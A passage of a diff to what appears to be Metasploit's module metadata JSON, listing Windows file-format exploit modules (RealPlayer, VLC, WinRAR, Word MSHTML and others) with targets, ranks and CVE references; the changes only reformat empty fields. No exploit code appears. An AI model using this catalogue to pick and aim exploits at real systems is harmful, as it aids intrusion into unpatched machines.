"arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Real Player 15.0.5.109" ], @@ -158786,17 +141031,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/realplayer_ver_attribute_bof": { "name": "RealNetworks RealPlayer Version Attribute Buffer Overflow", "fullname": "exploit/windows/fileformat/realplayer_ver_attribute_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-20", "type": "exploit", @@ -158815,12 +141057,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3 (DEP Bypass) / RealPlayer 16.0.3.51/16.0.2.32" ], @@ -158831,17 +141069,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/safenet_softremote_groupname": { "name": "SafeNet SoftRemote GROUPNAME Buffer Overflow", "fullname": "exploit/windows/fileformat/safenet_softremote_groupname", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-30", "type": "exploit", @@ -158857,12 +141092,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English", "WinSrv 2000 SP4 English", @@ -158876,17 +141107,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/sascam_get": { "name": "SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow", "fullname": "exploit/windows/fileformat/sascam_get", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-12-29", "type": "exploit", @@ -158902,12 +141130,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / IE 7" ], @@ -158918,17 +141142,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/scadaphone_zip": { "name": "ScadaTEC ScadaPhone Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/scadaphone_zip", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-09-12", "type": "exploit", @@ -158945,12 +141166,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -158961,17 +141178,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/shadow_stream_recorder_bof": { "name": "Shadow Stream Recorder 3.0.1.7 Buffer Overflow", "fullname": "exploit/windows/fileformat/shadow_stream_recorder_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-29", "type": "exploit", @@ -158989,12 +141203,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -159005,17 +141215,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/shaper_pdf_bof": { "name": "PDF Shaper Buffer Overflow", "fullname": "exploit/windows/fileformat/shaper_pdf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-03", "type": "exploit", @@ -159030,12 +141237,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "" ], @@ -159046,17 +141249,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/somplplayer_m3u": { "name": "S.O.M.P.L 1.0 Player Buffer Overflow", "fullname": "exploit/windows/fileformat/somplplayer_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-01-22", "type": "exploit", @@ -159072,12 +141272,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -159088,17 +141284,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/subtitle_processor_m3u_bof": { "name": "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow", "fullname": "exploit/windows/fileformat/subtitle_processor_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-26", "type": "exploit", @@ -159115,12 +141308,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -159131,17 +141320,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/syncbreeze_xml": { "name": "Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow", "fullname": "exploit/windows/fileformat/syncbreeze_xml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-29", "type": "exploit", @@ -159156,12 +141342,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -159172,17 +141354,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/tfm_mmplayer_m3u_ppl_bof": { "name": "TFM MMPlayer (m3u/ppl File) Buffer Overflow", "fullname": "exploit/windows/fileformat/tfm_mmplayer_m3u_ppl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-03-23", "type": "exploit", @@ -159201,12 +141380,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -159217,17 +141392,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/theme_dll_hijack_cve_2023_38146": { "name": "Themebleed- Windows 11 Themes Arbitrary Code Execution CVE-2023-38146", "fullname": "exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-09-13", "type": "exploit", @@ -159245,12 +141417,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -159282,9 +141450,7 @@ "exploit_windows/fileformat/total_video_player_ini_bof": { "name": "Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow", "fullname": "exploit/windows/fileformat/total_video_player_ini_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-24", "type": "exploit", @@ -159300,12 +141466,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -159316,17 +141478,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/tugzip": { "name": "TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability", "fullname": "exploit/windows/fileformat/tugzip", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-10-28", "type": "exploit", @@ -159346,12 +141505,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -159362,17 +141517,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ultraiso_ccd": { "name": "UltraISO CCD File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/ultraiso_ccd", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-04-03", "type": "exploit", @@ -159390,12 +141542,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal - Double-Click/Command Line Open Method", "Windows Universal - File->Open + Toolbar Open Methods" @@ -159407,17 +141555,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ultraiso_cue": { "name": "UltraISO CUE File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/ultraiso_cue", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-05-24", "type": "exploit", @@ -159435,12 +141580,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows - UltraISO v8.6.2.2011 portable", "Windows - UltraISO v8.6.0.1936" @@ -159452,17 +141593,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ursoft_w32dasm": { "name": "URSoft W32Dasm Disassembler Function Buffer Overflow", "fullname": "exploit/windows/fileformat/ursoft_w32dasm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-01-24", "type": "exploit", @@ -159479,12 +141617,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0" ], @@ -159495,17 +141629,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/varicad_dwb": { "name": "VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/varicad_dwb", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-03-17", "type": "exploit", @@ -159524,12 +141655,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -159540,17 +141667,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/videocharge_studio": { "name": "VideoCharge Studio Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/videocharge_studio", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-27", "type": "exploit", @@ -159567,12 +141691,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VideoCharge Studio 2.12.3.685" ], @@ -159584,15 +141704,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "SideEffects": [], + "Reliability": [], "NOCVE": [ "Reason not given" ] @@ -159603,9 +141717,7 @@ "exploit_windows/fileformat/videolan_tivo": { "name": "VideoLAN VLC TiVo Buffer Overflow", "fullname": "exploit/windows/fileformat/videolan_tivo", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-10-22", "type": "exploit", @@ -159621,12 +141733,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VideoLAN VLC 0.9.4 (XP SP3 English)", "VideoLAN VLC 0.9.2 (XP SP3 English)" @@ -159638,17 +141746,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/videospirit_visprj": { "name": "VeryTools Video Spirit Pro", "fullname": "exploit/windows/fileformat/videospirit_visprj", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-11", "type": "exploit", @@ -159666,12 +141771,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass" ], @@ -159682,17 +141783,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/visio_dxf_bof": { "name": "Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability", "fullname": "exploit/windows/fileformat/visio_dxf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-05-04", "type": "exploit", @@ -159707,39 +141805,32 @@ "OSVDB-64446", "BID-39836", "URL-http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow", - "URL-https://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/" + "URL-http://web.archive.org/web/20101113032001/http://www.exploit-db.com:80/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Visio 2002 English on Windows XP SP3 Spanish", "Visio 2002 English on Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/fileformat/visio_dxf_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/visio_dxf_bof", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/visiwave_vwr_type": { "name": "VisiWave VWR File Parsing Vulnerability", "fullname": "exploit/windows/fileformat/visiwave_vwr_type", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-05-20", "type": "exploit", @@ -159757,12 +141848,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3/Windows 7 SP0" ], @@ -159773,17 +141860,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/vlc_mkv": { "name": "VLC Media Player MKV Use After Free", "fullname": "exploit/windows/fileformat/vlc_mkv", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-05-24", "type": "exploit", @@ -159799,12 +141883,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 2.2.8 on Windows 10 x86", "VLC 2.2.8 on Windows 10 x64" @@ -159816,17 +141896,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/vlc_modplug_s3m": { "name": "VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/vlc_modplug_s3m", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-04-07", "type": "exploit", @@ -159843,12 +141920,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 1.1.8 on Windows XP SP3" ], @@ -159859,17 +141932,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/vlc_realtext": { "name": "VLC Media Player RealText Subtitle Overflow", "fullname": "exploit/windows/fileformat/vlc_realtext", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-11-05", "type": "exploit", @@ -159889,12 +141959,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1" ], @@ -159905,17 +141971,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/vlc_smb_uri": { "name": "VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow", "fullname": "exploit/windows/fileformat/vlc_smb_uri", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-06-24", "type": "exploit", @@ -159933,12 +141996,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "vlc 0.9.9 on Windows XP SP3" ], @@ -159949,17 +142008,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/vlc_webm": { "name": "VideoLAN VLC MKV Memory Corruption", "fullname": "exploit/windows/fileformat/vlc_webm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-01-31", "type": "exploit", @@ -159977,12 +142033,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 1.1.6 on Windows XP SP3" ], @@ -159993,17 +142045,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/vuplayer_cue": { "name": "VUPlayer CUE Buffer Overflow", "fullname": "exploit/windows/fileformat/vuplayer_cue", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-08-18", "type": "exploit", @@ -160018,12 +142067,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VUPlayer 2.49" ], @@ -160034,17 +142079,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/vuplayer_m3u": { "name": "VUPlayer M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/vuplayer_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-08-18", "type": "exploit", @@ -160059,12 +142101,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VUPlayer 2.49" ], @@ -160075,17 +142113,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/watermark_master": { "name": "Watermark Master Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/watermark_master", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-01", "type": "exploit", @@ -160102,12 +142137,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x32 - Watermark Master 2.2.23", "Windows 7 x64 - Watermark Master 2.2.23" @@ -160120,15 +142151,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": null @@ -160136,9 +142161,7 @@ "exploit_windows/fileformat/winamp_maki_bof": { "name": "Winamp MAKI Buffer Overflow", "fullname": "exploit/windows/fileformat/winamp_maki_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-05-20", "type": "exploit", @@ -160160,12 +142183,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winamp 5.55 / Windows XP SP3 / Windows 7 SP1" ], @@ -160176,17 +142195,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/winrar_ace": { "name": "RARLAB WinRAR ACE Format Input Validation Remote Code Execution", "fullname": "exploit/windows/fileformat/winrar_ace", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-02-05", "type": "exploit", @@ -160206,12 +142222,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RARLAB WinRAR <= 5.61" ], @@ -160222,17 +142234,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/winrar_cve_2023_38831": { "name": "WinRAR CVE-2023-38831 Exploit", "fullname": "exploit/windows/fileformat/winrar_cve_2023_38831", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-23", "type": "exploit", @@ -160248,12 +142257,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -160282,9 +142287,7 @@ "exploit_windows/fileformat/winrar_name_spoofing": { "name": "WinRAR Filename Spoofing", "fullname": "exploit/windows/fileformat/winrar_name_spoofing", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-28", "type": "exploit", @@ -160302,12 +142305,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -160318,17 +142317,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/wireshark_mpeg_overflow": { "name": "Wireshark wiretap/mpeg.c Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/wireshark_mpeg_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-03-20", "type": "exploit", @@ -160346,12 +142342,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinXP SP3 Spanish (bypass DEP)", "WinXP SP2/SP3 English (bypass DEP)" @@ -160363,17 +142355,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/wireshark_packet_dect": { "name": "Wireshark packet-dect.c Stack Buffer Overflow (local)", "fullname": "exploit/windows/fileformat/wireshark_packet_dect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-18", "type": "exploit", @@ -160393,12 +142382,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win32 Universal (Generic DEP & ASLR Bypass)" ], @@ -160409,17 +142394,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/wm_downloader_m3u": { "name": "WM Downloader 3.1.2.2 Buffer Overflow", "fullname": "exploit/windows/fileformat/wm_downloader_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-28", "type": "exploit", @@ -160435,12 +142417,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -160451,17 +142429,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/word_msdtjs_rce": { "name": "Microsoft Office Word MSDTJS", "fullname": "exploit/windows/fileformat/word_msdtjs_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-05-29", "type": "exploit", @@ -160483,12 +142458,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Word" ], @@ -160520,9 +142491,7 @@ "exploit_windows/fileformat/word_mshtml_rce": { "name": "Microsoft Office Word Malicious MSHTML RCE", "fullname": "exploit/windows/fileformat/word_mshtml_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-23", "type": "exploit", @@ -160544,12 +142513,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Hosted" ], @@ -160578,9 +142543,7 @@ "exploit_windows/fileformat/xenorate_xpl_bof": { "name": "Xenorate 2.50 (.xpl) Universal Local Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/xenorate_xpl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-19", "type": "exploit", @@ -160598,12 +142561,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 / SP3" ], @@ -160614,17 +142573,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/xion_m3u_sehbof": { "name": "Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/xion_m3u_sehbof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-23", "type": "exploit", @@ -160645,12 +142601,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Xion Audio Player v1.0.126 XP Universal" ], @@ -160661,17 +142613,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/xradio_xrl_sehbof": { "name": "xRadio 0.95b Buffer Overflow", "fullname": "exploit/windows/fileformat/xradio_xrl_sehbof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-08", "type": "exploit", @@ -160687,12 +142636,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -160703,17 +142648,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/zahir_enterprise_plus_csv": { "name": "Zahir Enterprise Plus 6 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/zahir_enterprise_plus_csv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-09-28", "type": "exploit", @@ -160729,12 +142671,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Zahir Enterprise Plus 6 <= build 10b" ], @@ -160745,17 +142683,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/zinfaudioplayer221_pls": { "name": "Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/zinfaudioplayer221_pls", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-09-24", "type": "exploit", @@ -160773,12 +142708,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Zinf Universal 2.2.1" ], @@ -160789,17 +142720,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/firewall/blackice_pam_icq": { "name": "ISS PAM.dll ICQ Parser Buffer Overflow", "fullname": "exploit/windows/firewall/blackice_pam_icq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-03-18", 